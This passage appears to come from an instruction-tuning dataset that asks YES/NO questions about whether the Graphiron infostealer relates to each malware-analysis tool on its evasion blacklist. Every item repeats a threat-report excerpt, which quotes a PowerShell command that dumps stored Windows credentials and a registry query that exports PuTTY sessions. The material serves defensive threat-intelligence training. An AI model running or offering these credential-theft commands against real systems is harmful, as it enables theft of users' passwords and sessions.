pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: filemon\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: httpdebugger\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: httpsMon\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: ida\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: idag\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: idag64\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: idaq\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: idaq64\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: idau\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: idau64\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: idaw\n### Text 